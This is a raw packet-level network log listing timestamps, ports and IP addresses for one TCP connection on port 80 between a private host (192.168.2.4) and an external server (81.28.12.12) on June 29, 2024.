Jun 29, 2024 08:05:15.454345942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454425097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454435110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454444885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454453945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454463959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454473972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454483032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454499960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454529047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454529047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454646111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454655886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454665899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454677105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454699039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454776049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454787016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454796076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454807043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454807997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454839945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454839945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454886913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454896927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454898119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454996109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455018997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455029011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455039024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455048084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455070972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455131054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455131054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455148935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455159903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455168962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455179930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455199003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.455209017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455209017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455245972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.455274105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522661924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522670984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522680998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522751093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522751093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522835016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522846937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522855997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522866011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522875071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522902966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522903919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522903919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522939920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522944927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.522949934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522960901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522969961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.522999048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.523000002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.523041010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.523075104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.523085117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.523149967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.525824070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.525885105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.525974035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.525983095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.525994062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.526002884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.526011944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.526022911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.526027918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.526027918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.526063919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.526096106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.527214050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527267933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.527271032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527281046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527323961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527333975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527354002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.527396917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.527425051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527498007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.527529955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.527692080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540131092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540230036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540241003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540261984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540291071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540302038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540324926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540355921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540364027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540374041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540383101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540393114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540402889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540411949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540433884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540525913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540551901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540561914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540571928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540581942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540602922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540632010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540666103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540683985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540694952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540796995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540807962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540808916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540817022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540828943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.540847063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540889978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.540889978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541524887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541641951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541650057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541661024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541671038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541671991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541681051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541692019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541692019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541704893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541713953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541729927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541731119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541762114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541762114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541779995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541815042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541822910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541871071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541878939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541887999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541897058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541914940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541914940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.541995049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.541990995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542031050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542040110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542062044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542120934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542143106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542150974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542160034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542171001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542180061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542201042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542231083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542231083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542289972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542299032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542308092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542318106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542340040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542340040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542421103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542428017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542462111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542471886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542495012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542512894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542521954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.542529106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.542606115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543478966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543519020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543529987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543550968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543581963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543657064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543667078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543673038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543678045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543741941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543775082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543806076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543806076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543817043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543904066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543912888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543921947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543931007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543931961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543942928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.543965101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.543966055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544004917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544022083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544023991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544107914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544118881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544126987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544130087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544140100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544147968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544156075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544183969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544240952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544245005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544306993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544315100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544390917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544399977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544409990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544415951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544420004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544442892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544523001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544536114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544545889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544598103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544608116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544616938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544625998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544632912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544634104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544665098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544697046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544699907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544709921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544719934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.544794083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.544794083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612224102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612270117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612279892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612303972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612356901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612361908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612366915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612376928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612386942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612421989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612526894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612562895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612571955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612581015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612591982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612601995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612612009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612622976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.612628937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612628937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612658978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.612735987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.615567923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615619898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615629911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615653038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.615667105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615677118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615711927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.615783930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615789890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.615792990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615802050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.615838051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.615838051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.616832972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.616851091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.616864920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.616899014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.616899014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.616934061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.616972923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.616983891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.616995096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.617003918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.617017984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.617022991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.617065907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.617065907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.629740000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629784107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629795074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629818916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.629873037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629883051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.629884005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629894018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629942894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.629950047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630023956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630033970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630045891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630054951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630065918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630078077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630089045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630119085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630165100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630178928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630239964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630249023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630258083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630266905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630311966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630352020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630362034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630378008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630384922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630388975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630397081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.630403042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630429029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.630517006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631119967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631184101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631187916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631198883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631210089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631241083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631304979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631305933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631314993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631326914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631335020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631409883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631418943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631428957 CEST	80	49731	81.28.12.12	192.168.2.4
